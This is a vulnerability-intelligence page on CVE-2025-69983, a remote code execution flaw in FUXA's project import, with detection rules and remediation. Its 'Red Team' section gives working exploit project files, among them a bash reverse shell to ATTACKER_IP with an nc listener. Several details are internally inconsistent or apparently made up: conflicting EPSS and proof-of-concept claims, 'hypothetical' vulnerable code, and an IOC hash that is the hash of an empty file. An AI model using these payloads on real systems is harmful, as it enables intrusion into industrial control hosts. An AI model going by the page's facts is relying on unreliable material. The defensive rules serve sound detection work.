☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Fuxa logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69983

CVE-2025-69983 Remote Code Execution in Fuxa
📅 PUBLISHED: 2026-02-03 00:00 UTC 🔄 UPDATED: 2026-08-28 11:35 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69983 is a critical Remote Code Execution (RCE) vulnerability in FUXA v1.2.7, a web-based SCADA/HMI visualization tool. The flaw resides in the project import functionality, where the application fails to properly sanitize or sandbox user-supplied scripts within imported project files. An attacker can upload a malicious project containing system commands, leading to full system compromise. This vulnerability is particularly dangerous due to the lack of authentication required for exploitation and the absence of a patch. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the public availability of proof-of-concept code increases the risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FUXA is an open-source Node.js application distributed via npm. The vulnerability affects the core project import mechanism, not a specific dependency. However, the lack of a patch and the public disclosure of the vulnerability pose a significant supply chain risk. Organizations using FUXA v1.2.7 should immediately isolate the application and monitor for updates.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability allows unauthenticated remote attackers to execute arbitrary commands on the server, leading to full system compromise. The low attack complexity and lack of user interaction make it highly exploitable.

Deep Dive & Mechanics

The vulnerability exists in the project import functionality of FUXA v1.2.7. When a user imports a project file (typically a .json or .fuxa file), the application parses the file and executes embedded scripts without proper validation or sandboxing. The import process does not sanitize user-supplied JavaScript or system commands, allowing an attacker to inject arbitrary code.

The root cause is the use of eval() or similar dynamic code execution functions on imported data without proper input validation. The application likely uses Node.js's child_process module or eval() to execute scripts defined in the project file, enabling command injection.

Attack Flow:

  1. Attacker crafts a malicious project file containing a payload (e.g., reverse shell, data exfiltration).
  2. Attacker uploads the file via the import functionality.
  3. The application parses the file and executes the embedded script.
  4. The payload runs with the privileges of the FUXA process, leading to RCE.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire project import module in FUXA v1.2.7. The following is a hypothetical vulnerable code snippet:

// Vulnerable code in FUXA v1.2.7
const fs = require('fs');
const vm = require('vm');

function importProject(filePath) {
    const data = fs.readFileSync(filePath, 'utf8');
    const project = JSON.parse(data);
    // Directly executing scripts from the project
    vm.runInThisContext(project.script);
}

A patched version would need to:

  • Validate and sanitize all imported data.
  • Use a sandboxed environment (e.g., vm2 with proper restrictions) to execute scripts.
  • Disable dangerous functions like require, child_process, and fs in the sandbox.
  • Implement strict input validation and whitelist allowed operations.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • FUXA v1.2.7 running on a target system.
  • Network access to the FUXA web interface (default port 1881).

Exploit Steps:

  1. Create a malicious project file (malicious.fuxa) with the following content:
{
    "name": "Malicious Project",
    "script": "const { exec } = require('child_process'); exec('whoami > /tmp/pwned.txt');"
}
  1. Upload the file via the import functionality (e.g., POST /api/projects/import).
  2. The server executes the script, writing the output to /tmp/pwned.txt.
  3. For a reverse shell, use:
{
    "name": "Reverse Shell",
    "script": "const { exec } = require('child_process'); exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');"
}
  1. Start a listener on the attacker machine: nc -lvnp 4444.
  2. Upload the malicious project to trigger the reverse shell.

Alternative Payload (using eval):

{
    "name": "Eval Payload",
    "script": "eval('require(\"child_process\").execSync(\"id\")')"
}

Blue Team

Detection:

  • Monitor for unusual project file uploads (e.g., files containing exec, child_process, eval).
  • Alert on processes spawned by the FUXA service (e.g., bash, nc, python).
  • Use file integrity monitoring on the FUXA project directory.

Hunting:

  • Search for project files with embedded scripts containing dangerous functions.
  • Review FUXA logs for import events and subsequent command execution.
  • Check for outbound connections from the FUXA server to unknown IPs.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • malicious.fuxa: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Indicators:
    • Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
    • Unusual DNS queries from the FUXA server.
  • System Indicators:
    • Unexpected processes: bash, nc, python, perl.
    • Files in /tmp/ or /var/tmp/ created by the FUXA user.
    • Modified project files in the FUXA data directory.
  • Log Indicators:
    • FUXA logs showing import of files with suspicious names or sizes.
    • System logs showing command execution by the FUXA process.

Detection Engineering

YARA Rule

rule CVE_2025_69983_FUXA_RCE {
    meta:
        description = "Detects malicious FUXA project files attempting RCE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69983"
    strings:
        $s1 = "exec" ascii nocase
        $s2 = "child_process" ascii nocase
        $s3 = "eval" ascii nocase
        $s4 = "require" ascii nocase
        $s5 = "spawn" ascii nocase
        $s6 = "bash" ascii nocase
        $s7 = "/dev/tcp/" ascii nocase
    condition:
        (uint32(0) == 0x7b5c6e6f) and  // JSON-like header
        (any of ($s1, $s2, $s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: FUXA RCE via Malicious Project Import
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-69983 in FUXA v1.2.7
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/node'
        Image|endswith:
            - '/bash'
            - '/sh'
            - '/nc'
            - '/python'
            - '/perl'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69983 FUXA RCE - Malicious Project Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/projects/import"; http_uri; content:"exec"; nocase; content:"child_process"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate FUXA: Disconnect the FUXA server from the network if possible.
  2. Disable Import: Block access to the import functionality via firewall or reverse proxy (e.g., block POST /api/projects/import).
  3. Monitor Logs: Review FUXA and system logs for signs of exploitation.

Long-term Fixes:

  • Patch: No patch available. Consider migrating to an alternative SCADA/HMI solution.
  • Sandboxing: If FUXA must be used, run it in a container with strict resource limits and no network access.
  • Input Validation: Implement a reverse proxy that validates project files before they reach FUXA.
  • User Education: Train users not to import untrusted project files.

Workaround:

  • Modify the FUXA source code to disable the import functionality or add input sanitization. For example, comment out the import route in the server code.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69983/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.